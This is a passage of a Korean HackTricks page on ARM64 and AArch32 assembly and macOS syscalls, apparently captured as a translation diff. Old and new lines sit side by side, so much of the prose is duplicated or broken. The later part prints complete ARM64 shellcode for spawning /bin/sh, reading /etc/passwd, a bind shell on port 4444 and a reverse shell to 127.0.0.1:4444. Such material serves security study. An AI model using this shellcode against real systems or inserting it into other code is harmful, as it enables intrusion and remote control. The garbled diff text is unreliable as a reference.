* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> x1 != x2이고 x3 < x4인 경우 _func점프함
* 이는 **이전 `cmp``NE`였을 때만 `ccmp`가 실행**되며, 그렇지 않으면 비트 `nzcv`가 0으로 설정됨 (`blt` 비교를 충족하지 않음).
* 이는 `ccmn`으로도 사용 가능함 (동일하지만 부정적인 경우, `cmp` `cmn`과 유사함).
* **`tst`**: 비교 값 중 어느 값이라도 1인지 확인함 (결과를 저장하지 않고 ANDS처럼 작동함). 값이 1인 레지스터의 비트를 확인하는 데 유용함.
* 예: `tst X1, #7` X1의 마지막 3비트 중 어느 비트가 1인지 확인함
* **`teq`**: 결과를 버리는 XOR 연산
* **`teq`**: 결과를 버리고 XOR 연산을 수행함
* **`b`**: 조건 없는 분기
* 예: `b myFunction`&#x20;
* 이는 반환 주소를 링크 레지스터에 채우지 않음 (되돌아가야 하는 서브루틴 호출에 적합하지 않음)
* **`bl`**: 링크가 포함된 분기, **서브루틴을 호출**하는 데 사용됨. 반환 주소를 `x30`에 저장함.
* 이는 링크 레지스터에 반환 주소를 채우지 않음 (반환해야 하는 서브루틴 호출에 적합하지 않음)
* **`bl`**: 링크가 있는 분기, **서브루틴을 호출**하는 데 사용됨. 반환 주소를 `x30`에 저장함.
* 예: `bl myFunction` — 이 명령은 `myFunction` 함수를 호출하고 반환 주소를 `x30`에 저장함.
* **`blr`**: 레지스터에 지정된 **대상**을 사용하여 **서브루틴을 호출**하는 데 사용됨. 반환 주소를 `x30`에 저장함. (이는&#x20;
* 이는 링크 레지스터에 반환 주소를 채우지 않음 (반환해야 하는 서브루틴 호출에 적합하지 않음)
* **`blr`**: 레지스터에 지정된 대상을 사용하여 **링크가 있는 분기**를 수행함. 반환 주소를 `x30`에 저장함. (이는&#x20;
* 예: `blr x1` — 이 명령은 `x1`에 포함된 주소의 함수를 호출하고 반환 주소를 `x30`에 저장함.
* **`ret`**: **서브루틴**에서 **반환**, 일반적으로 **`x30`**에 있는 주소를 사용함.
* 예: `ret` — 이 명령은 현재 서브루틴에서 `x30`에 있는 반환 주소를 사용하여 반환함.
* **`b.<cond>`**: 조건부 분기
* **`b.eq`**: **동일한 경우 분기**, 이전 `cmp` 명령을 기반으로 함.
* 예: `b.eq label` — 이전 `cmp` 명령에서 두 값이 동일한 경우 `label`로 이동함.
* **`b.ne`**: **Equal이 아닌 경우 분기**. 이 명령은 조건 플래그를 확인하고(이전 비교 명령에 의해 설정된), 비교된 값이 동일하지 않은 경우 레이블이나 주소로 분기합니다.
* **`b.ne`**: **Equal이 아닌 경우 분기**. 이 명령은 조건 플래그를 확인하고(이전 비교 명령에 의해 설정됨), 비교된 값이 동일하지 않으면 레이블이나 주소로 분기합니다.
* 예시: `cmp x0, x1` 명령 후, `b.ne label` — 만약 `x0``x1`의 값이 동일하지 않다면, `label`로 이동합니다.
* **`cbz`**: **0에 대해 비교하고 분기**. 이 명령은 레지스터를 0과 비교하고, 동일한 경우 레이블이나 주소로 분기합니다.
* **`cbz`**: **0에 대해 비교하고 분기**. 이 명령은 레지스터를 0과 비교하고, 동일하면 레이블이나 주소로 분기합니다.
* 예시: `cbz x0, label` — 만약 `x0`의 값이 0이라면, `label`로 이동합니다.
* **`cbnz`**: **0이 아닌 경우 비교하고 분기**. 이 명령은 레지스터를 0과 비교하고, 동일하지 않은 경우 레이블이나 주소로 분기합니다.
* **`cbnz`**: **0이 아닌 경우 비교하고 분기**. 이 명령은 레지스터를 0과 비교하고, 동일하지 않으면 레이블이나 주소로 분기합니다.
* 예시: `cbnz x0, label` — 만약 `x0`의 값이 0이 아니라면, `label`로 이동합니다.
* **`tbnz`**: 비트 테스트하고 0이 아닌 경우 분기
* 예시: `tbnz x0, #8, label`
@ -225,7 +226,7 @@ ARM64 명령어는 일반적으로 **`opcode dst, src1, src2`** 형식을 갖습
* 예시: `ldrsw x0, [x1]``x1`이 가리키는 메모리 위치에서 부호 있는 32비트 값을 로드하고 64비트로 부호 확장하여 `x0`에 저장합니다.
* **`stur`**: 레지스터 값을 메모리 위치에 **저장**, 다른 레지스터의 오프셋을 사용합니다.
* 예시: `stur x0, [x1, #4]``x1`에 현재 주소보다 4바이트 더 큰 메모리 주소에 있는 값을 `x0`에 저장합니다.
* **`svc`** : **시스템 호출**을 수행합니다. "Supervisor Call"의 약자입니다. 프로세서가 이 명령을 실행하면, **사용자 모드에서 커널 모드로 전환**하고, **커널의 시스템 호출 처리** 코드가 있는 메모리의 특정 위치로 이동합니다.
* **`svc`** : **시스템 호출**을 수행합니다. "Supervisor Call"의 약자입니다. 프로세서가 이 명령을 실행하면 **사용자 모드에서 커널 모드로 전환**하고, **커널의 시스템 호출 처리** 코드가 위치한 메모리의 특정 위치로 이동합니다.
* 예시:
```armasm
@ -258,15 +259,15 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th
```
{% endcode %}
3. **Return**: `ret` (링크 레지스터의 주소를 사용하여 호출자에게 제어를 반환)
3. **리턴**: `ret` (링크 레지스터의 주소를 사용하여 호출자에게 제어를 반환)
## AARCH32 실행 상태
Armv8-A는 32비트 프로그램의 실행을 지원합니다. **AArch32**는 **두 개의 명령어 세트** 중 하나에서 실행할 수 있으며 **`A32`** 및 **`T32`**로 **`interworking`**을 통해 전환할 수 있습니다.\
**특권을 가진** 64비트 프로그램은 낮은 특권을 가진 32비트 프로그램으로 예외 수준 전환을 실행하여 **32비트 프로그램의 실행을 예약**할 수 있습니다.\
64비트에서 32비트로의 전환은 예외 수준의 낮은 부분에서 발생합니다(예: EL1에서 EL0의 프로그램을 트리거하는 64비트 프로그램). 이는 `AArch32` 프로세스 스레드가 실행 준비가 되었을 때 **`SPSR_ELx`** 특수 레지스터의 **비트 4를 1로 설정**하여 수행되며, 나머지 `SPSR_ELx`는 **`AArch32`** 프로그램의 CPSR을 저장합니다. 그런 다음, 특권 프로세스는 **`ERET`** 명령을 호출하여 프로세서가 **`AArch32`**로 전환되어 CPSR에 따라 A32 또는 T32로 진입합니다\*\*.\*\*
Armv8-A는 32비트 프로그램의 실행을 지원합니다. **AArch32**는 **두 가지 명령어 세트** 중 하나에서 실행될 수 있으며 **`A32`** 및 **`T32`**로 전환할 수 있습니다. **`interworking`**을 통해 이들 간에 전환할 수 있습니다.\
**특권을 가진** 64비트 프로그램은 낮은 특권을 가진 32비트 프로그램으로 예외 수준 전환을 실행함으로써 **32비트 프로그램의 실행을 예약**할 수 있습니다.\
64비트에서 32비트로의 전환은 예외 수준의 낮아짐으로 발생합니다(예: EL1에서 EL0의 프로그램을 트리거하는 64비트 프로그램). 이는 `AArch32` 프로세스 스레드가 실행 준비가 되었을 때 **`SPSR_ELx`** 특수 레지스터의 **비트 4를 1로 설정**하여 수행되며, 나머지 `SPSR_ELx`는 **`AArch32`** 프로그램의 CPSR을 저장합니다. 그런 다음, 특권을 가진 프로세스는 프로세서가 **`AArch32`**로 전환되어 CPSR에 따라 A32 또는 T32로 진입하도록 **`ERET`** 명령을 호출합니다.
**`interworking`**은 CPSR의 J 및 T 비트를 사용하여 발생합니다. `J=0``T=0`**`A32`**를 의미하, `J=0``T=1`은 **T32**를 의미합니다. 이는 기본적으로 명령어 세트가 T32임을 나타내기 위해 **가장 낮은 비트를 1로 설정**하는 것을 의미합니다.\
**`interworking`**은 CPSR의 J 및 T 비트를 사용하여 발생합니다. `J=0``T=0`**`A32`**를 의미하, `J=0``T=1`은 **T32**를 의미합니다. 이는 기본적으로 명령어 세트가 T32임을 나타내기 위해 **가장 낮은 비트를 1로 설정**하는 것을 의미합니다.\
이는 **interworking 분기 명령어**에서 설정되지만, PC가 대상 레지스터로 설정될 때 다른 명령어로 직접 설정할 수도 있습니다. 예시:
또 다른 예시:
@ -282,7 +283,7 @@ mov r0, #8
```
### 레지스터
32비트 레지스터가 16개 있습니다 (r0-r15). **r0부터 r14까지**는 **어떤 작업에도 사용**할 수 있지만, 일부는 일반적으로 예약니다:
32비트 레지스터가 16개 있습니다 (r0-r15). **r0부터 r14까지**는 **어떤 작업에도 사용**할 수 있지만, 일부는 일반적으로 예약되어 있습니다:
- **`r15`**: 프로그램 카운터 (항상). 다음 명령의 주소를 포함합니다. A32에서는 현재 + 8, T32에서는 현재 + 4입니다.
- **`r11`**: 프레임 포인터
@ -291,7 +292,7 @@ mov r0, #8
- **`r14`**: 링크 레지스터
또한, 레지스터는 **`은행 레지스트리`**에 백업됩니다. 이는 레지스터 값을 저장하여 예외 처리 및 특권 작업에서 **빠른 컨텍스트 전환**을 수행할 수 있도록 하여 매번 레지스터를 수동으로 저장하고 복원할 필요가 없게 합니다.\
이는 **프로세서 상태를 `CPSR`에서 예외가 발생한 프로세서 모드의 `SPSR`로 저장**함으로써 수행됩니다. 예외가 반환되면 **`CPSR`** **`SPSR`**에서 복원됩니다.
이는 **프로세서 상태를 `CPSR`에서 예외가 발생한 프로세서 모드의 `SPSR`로 저장**함으로써 수행됩니다. 예외가 반환되면 **`CPSR`** **`SPSR`**에서 복원됩니다.
### CPSR - 현재 프로그램 상태 레지스터
@ -301,16 +302,16 @@ AArch32에서 CPSR은 AArch64의 **`PSTATE`**와 유사하게 작동하며, 예
필드는 몇 가지 그룹으로 나뉩니다:
- 응용 프로그램 프로그램 상태 레지스터 (APSR): 산술 플래그 및 EL0에서 접근 가능
- 응용 프로그램 상태 레지스터 (APSR): 산술 플래그 및 EL0에서 접근 가능
- 실행 상태 레지스터: 프로세스 동작 (운영 체제에 의해 관리됨).
#### 응용 프로그램 프로그램 상태 레지스터 (APSR)
#### 응용 프로그램 상태 레지스터 (APSR)
- **`N`**, **`Z`**, **`C`**, **`V`** 플래그 (AArch64와 마찬가지로)
- **`Q`** 플래그: 전문화된 포화 산술 명령을 실행하는 동안 **정수 포화가 발생할 때** 1로 설정됩니다. 한 번 **`1`**로 설정되면 수동으로 0으로 설정될 때까지 유지됩니다. 또한, 그 값을 암시적으로 확인하는 명령이 없으므로 수동으로 읽어야 합니다.
- **`Q`** 플래그: 전문화된 포화 산술 명령 실행 중 **정수 포화가 발생**하면 1로 설정됩니다. 한 번 **`1`**로 설정되면 수동으로 0으로 설정될 때까지 유지됩니다. 또한, 그 값을 암시적으로 확인하는 명령이 없으므로 수동으로 읽어야 합니다.
- **`GE`** (이상 또는 같음) 플래그: SIMD (단일 명령, 다중 데이터) 작업에서 사용됩니다. "병렬 덧셈" 및 "병렬 뺄셈"과 같은 이러한 작업은 단일 명령에서 여러 데이터 포인트를 처리할 수 있게 합니다.
예를 들어, **`UADD8`** 명령은 병렬로 바이트 네 쌍을 (두 32비트 피연산자에서) 더하고 결과를 32비트 레지스터에 저장합니다. 그런 다음 이러한 결과를 기반으로 **`APSR`**의 **`GE`** 플래그를 설정합니다. 각 GE 플래그는 해당 바이트 쌍에 대한 덧셈이 **오버플로우**되었는지를 나타냅니다.
예를 들어, **`UADD8`** 명령은 병렬로 바이트 네 쌍을 (두 32비트 피연산자에서) 더하고 결과를 32비트 레지스터에 저장합니다. 그런 다음 이러한 결과를 기반으로 **`APSR`**의 **`GE` 플래그를 설정**합니다. 각 GE 플래그는 해당 바이트 쌍에 대한 덧셈이 **오버플로우**되었는지를 나타냅니다.
**`SEL`** 명령은 이러한 GE 플래그를 사용하여 조건부 작업을 수행합니다.
@ -323,7 +324,7 @@ AArch32에서 CPSR은 AArch64의 **`PSTATE`**와 유사하게 작동하며, 예
<figure><img src="../../../.gitbook/assets/image (728).png" alt=""><figcaption></figcaption></figure>
- **`AIF`**: 특정 예외는 **`A`**, `I`, `F` 비트를 사용하여 비활성화할 수 있습니다. **`A`**가 1이면 **비동기 중단**이 트리거됩니다. **`I`**는 외부 하드웨어 **인터럽트 요청** (IRQ)에 응답하도록 구성하고, F는 **빠른 인터럽트 요청** (FIR) 관련이 있습니다.
- **`AIF`**: 특정 예외는 **`A`**, `I`, `F` 비트를 사용하여 비활성화할 수 있습니다. **`A`**가 1이면 **비동기 중단**이 트리거됩니다. **`I`**는 외부 하드웨어 **인터럽트 요청** (IRQ)에 응답하도록 구성하고, F는 **빠른 인터럽트 요청** (FIR) 관련이 있습니다.
## macOS
@ -333,9 +334,9 @@ AArch32에서 CPSR은 AArch64의 **`PSTATE`**와 유사하게 작동하며, 예
### Mach Traps
[**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall\_sw.c.auto.html)를 확인하세요. Mach traps는 **x16 < 0**이므로 이전 목록의 숫자를 **음수**로 호출해야 합니다: **`_kernelrpc_mach_vm_allocate_trap`**은 **`-10`**입니다.
[**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall\_sw.c.auto.html)를 확인하세요. Mach traps는 **x16 < 0**일 것이므로 이전 목록의 숫자를 **음수**로 호출해야 합니다: **`_kernelrpc_mach_vm_allocate_trap`**은 **`-10`**입니다.
또한 이러한 (및 BSD) 시스템 호출을 어떻게 호출하는지 알아보려면 **`libsystem_kernel.dylib`**를 디스어셈블러에서 확인할 수 있습니다:
또한, 이러한 (및 BSD) 시스템 호출을 어떻게 호출할지 찾으려면 **`libsystem_kernel.dylib`**를 디스어셈블러에서 확인할 수 있습니다:
```bash
# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
@ -344,9 +345,36 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
```
{% hint style="success" %}
가끔은 소스 코드를 확인하는 것보다 **`libsystem_kernel.dylib`**에서 **디컴파일된** 코드를 확인하는 것이 더 쉬울 수 있습니다. 왜냐하면 여러 시스템 호출 (BSD 및 Mach)의 코드는 스크립트를 통해 생성되기 때문에 (소스 코드의 주석을 확인하십시오) dylib에서 호출되는 내용을 찾을 수 있습니다.
가끔은 **`libsystem_kernel.dylib`**에서 **디컴파일된** 코드를 확인하는 것이 **소스 코드**를 확인하는 것보다 쉬울 수 있습니다. 왜냐하면 몇 가지 시스템 호출 (BSD 및 Mach)의 코드는 스크립트를 통해 생성되기 때문에 (소스 코드의 주석을 확인하십시오) dylib에서 호출되는 내용을 찾을 수 있습니다.
{% endhint %}
### objc\_msgSend
Objective-C 또는 Swift 프로그램에서이 함수를 사용하는 것이 매우 일반적합니다. 이 함수를 사용하면 Objective-C 객체의 메서드를 호출할 수 있습니다.
매개변수 ([자세한 정보는 [문서](https://developer.apple.com/documentation/objectivec/1456712-objc\_msgsend)를 참조하십시오.):
* x0: self -> 인스턴스에 대한 포인터
* x1: op -> 메서드의 선택자
* x2... -> 호출된 메서드의 나머지 인수
따라서이 함수로 이동하기 전에 중단점을 설정하면 lldb에서 호출되는 내용을 쉽게 찾을 수 있습니다 (이 예에서 객체가 `NSConcreteTask`의 객체를 호출하여 명령을 실행합니다).
```
(lldb) po $x0
<NSConcreteTask: 0x1052308e0>
(lldb) x/s $x1
0x1736d3a6e: "launch"
(lldb) po [$x0 launchPath]
/bin/sh
(lldb) po [$x0 arguments]
<__NSArrayI 0x1736801e0>(
-c,
whoami
)
```
### 쉘코드
컴파일하려면:
@ -419,7 +447,7 @@ return 0;
[**여기**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s)에서 가져온 내용을 설명합니다.
{% tabs %}
{% tab title="with adr" %}
{% tab title="adr를 사용한 경우" %}
```armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
@ -467,7 +495,7 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter,
```
#### cat으로 읽기
목표는 `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`을 실행하는 것이므로 두 번째 인자 (x1)는 매개변수 배열이어야 합니다 (메모리에서는 주소 스택을 의미합니다).
목표는 `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`을 실행하는 것이므로 두 번째 인자 (x1)는 매개변수 배열이어야 합니다 (메모리에서는 주소 스택을 의미).
```armasm
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
@ -493,7 +521,7 @@ cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"
```
#### fork에서 sh를 사용하여 명령을 호출하여 메인 프로세스가 종료되지 않도록합니다
#### sh를 사용하여 fork에서 명령을 호출하여 주 프로세스가 종료되지 않도록 함
```armasm
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
@ -537,9 +565,9 @@ sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"
```
#### Bind
#### 바인드
[https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s)에서 **포트 4444**로 Bind 쉘
[https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s)에서 **포트 4444**로 바인드 쉘을 가져옵니다.
```armasm
.section __TEXT,__text
.global _main
@ -621,9 +649,9 @@ mov x2, xzr
mov x16, #59
svc #0x1337
```
#### 리버스
####
[https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s)에서 revshell을 **127.0.0.1:4444**로 설정합니다.
[https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s)에서 **127.0.0.1:4444**로의 revshell
```armasm
.section __TEXT,__text
.global _main
@ -692,14 +720,14 @@ svc #0x1337
```
<details>
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong>!</summary>
다른 방법으로 HackTricks를 지원하는 방법:
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**팔로우**하세요.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details>